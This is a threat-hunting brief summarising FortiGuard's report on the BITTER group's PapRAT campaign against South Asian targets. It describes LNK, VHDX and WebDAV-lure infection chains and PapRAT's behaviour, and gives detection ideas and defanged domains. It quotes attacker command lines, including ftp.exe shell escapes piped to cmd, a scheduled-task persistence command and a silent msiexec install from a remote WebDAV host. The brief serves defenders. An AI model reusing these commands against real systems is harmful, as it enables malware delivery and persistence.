Hunt: BITTER's PapRAT campaign uses ftp.exe '!' shell escapes, VHDX and WebDAV LNK lures, and Type 194 MSI custom actions against South Asian targets
- Chain 1 (no PE dropped): LNK runs
ftp.exe; the!prefix makes ftp run a local shell command (!more res.icopiped to cmd). Thenschtasks /create /sc minute /mo 30 /tn MicrosoftUpdates\updates11678runsconhost --headless cmd /c more C:\users\public\music\err.log|cmd; err.log is written bycurl --ssl-no-revoke -k. A fakemsg * "Explorer was unable to open this file!"follows. - Chain 2: VHDX lure ("Letter from the Ambassador - 11th Belt and Road Summit.vhdx") with a visible LNK and hidden
Visa_Details.msiplus a decoy XLS. The MSI's only action is a Type 194 CustomAction launching PapRAT (masquerading as bruzsvc.exe, "Microsoft redistributables"), which beacons over plain HTTP every 10 s withclient_id=user_computer; C2 config is XOR 0x50. - Chain 3: RAR with "Invitation 2026.url" pointing at
rappellingaart[.]com@SSL(WebDAV), thenmsiexec /i \\rappellingaart[.]com@SSL\secure-docs\Imp_Details.msi /qn; PapRAT's DWW command fetches WmRAT (vnces.exe, C2 netmansrvdns[.]com). - Rust PapRAT: PDB
requpap.pdb, 42 s start delay, HTTPS polling every 5 s, strings reversed and ROT-3, adds MS2 (PowerShell), SLP and BYE commands.
Hunt ideas: ftp.exe spawned by explorer from an LNK, or ftp.exe with child cmd; scheduled tasks under MicrosoftUpdates\ or BiosUpdates\ running conhost --headless with more ... | cmd; files named err.log in C:\users\public\music\ or talk.log in C:\programdata\; msiexec installing from a @SSL WebDAV path; VHDX mounts from mail or downloads. Network: goodnfortunes[.]com, techtalkhelp[.]com, rivingtonclarks[.]com, gomescareerplans[.]com, chestergreenfarming[.]com, felixfuturenext[.]com, rappellingaart[.]com, netmansrvdns[.]com. The full hash list is in Fortinet's post.
Sources: FortiGuard Labs: BITTER Expands Its Arsenal with PapRAT (Nov 2)